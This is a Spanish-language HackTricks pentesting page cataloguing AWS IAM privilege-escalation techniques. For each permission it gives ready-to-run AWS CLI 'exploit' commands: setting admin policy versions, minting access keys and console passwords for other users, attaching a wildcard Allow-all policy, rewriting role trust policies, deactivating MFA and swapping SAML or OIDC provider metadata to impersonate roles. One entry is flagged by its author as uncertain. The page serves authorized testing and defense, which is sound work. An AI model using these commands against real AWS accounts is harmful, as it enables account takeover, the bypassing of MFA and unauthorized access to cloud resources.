AWS - IAM Privesc

Support HackTricks

IAM

Para más información sobre IAM, consulta:

iam:CreatePolicyVersion

Concede la capacidad de crear una nueva versión de política IAM, eludiendo la necesidad del permiso iam:SetDefaultPolicyVersion al usar la bandera --set-as-default. Esto permite definir permisos personalizados.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impacto: Escalates privileges directamente al permitir cualquier acción en cualquier recurso.

iam:SetDefaultPolicyVersion

Permite cambiar la versión predeterminada de una política IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: Escalación de privilegios indirecta al habilitar más permisos.

iam:CreateAccessKey

Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una escalación de privilegios potencial.

Explotar:

aws iam create-access-key --user-name <target_user>

Impacto: Escalación de privilegios directa al asumir los permisos extendidos de otro usuario.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite crear o actualizar un perfil de inicio de sesión, incluyendo la configuración de contraseñas para el inicio de sesión en la consola de AWS, lo que lleva a una escalación de privilegios directa.

Explotación para la Creación:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Explotar para Actualizar:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impacto: Escalación de privilegios directa al iniciar sesión como "cualquier" usuario.

iam:UpdateAccessKey

Permite habilitar una clave de acceso deshabilitada, lo que podría llevar a un acceso no autorizado si el atacante posee la clave deshabilitada.

Explotar:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalación de privilegios directa al reactivar claves de acceso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permite generar o restablecer credenciales para servicios específicos de AWS (por ejemplo, CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado.

Explotación para Creación:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Explotar para Reiniciar:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Escalación directa de privilegios dentro de los permisos de servicio del usuario.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite adjuntar políticas a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la política adjunta.

Explotar para el Usuario:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Explotar para Grupo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Escalación de privilegios directa a cualquier cosa que la política otorgue.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite adjuntar o poner políticas a roles, usuarios o grupos, lo que habilita la escalación de privilegios directa al otorgar permisos adicionales.

Explotar para Rol:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Explotar políticas en línea:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puedes usar una política como:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impacto: Escalación de privilegios directa al agregar permisos a través de políticas.

iam:AddUserToGroup

Permite agregarse a uno mismo a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.

Explotar:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impacto: Escalación directa de privilegios al nivel de los permisos del grupo.

iam:UpdateAssumeRolePolicy

Permite alterar el documento de política de asunción de rol de un rol, habilitando la asunción del rol y sus permisos asociados.

Explotar:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Donde la política se ve como la siguiente, que le da al usuario permiso para asumir el rol:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impacto: Escalación de privilegios directa al asumir los permisos de cualquier rol.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una posible escalación de privilegios indirecta.

Explotar para la carga de clave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Explotar para la desactivación de MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impacto: Escalación de privilegios indirecta al habilitar el acceso a CodeCommit o deshabilitar la protección MFA.

iam:ResyncMFADevice

Permite la resincronización de un dispositivo MFA, lo que puede llevar a una escalación de privilegios indirecta al manipular la protección MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalación de privilegios indirecta al agregar o manipular dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con estos permisos puedes cambiar los metadatos XML de la conexión SAML. Luego, podrías abusar de la federación SAML para iniciar sesión con cualquier rol que le esté confiando.

Ten en cuenta que al hacer esto los usuarios legítimos no podrán iniciar sesión. Sin embargo, podrías obtener el XML, así que puedes poner el tuyo, iniciar sesión y configurar el anterior de nuevo.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesión con un rol especificado

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(No estoy seguro de esto) Si un atacante tiene estos permisos, podría agregar un nuevo Thumbprint para poder iniciar sesión en todos los roles que confían en el proveedor.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referencias

Apoya a HackTricks

Last updated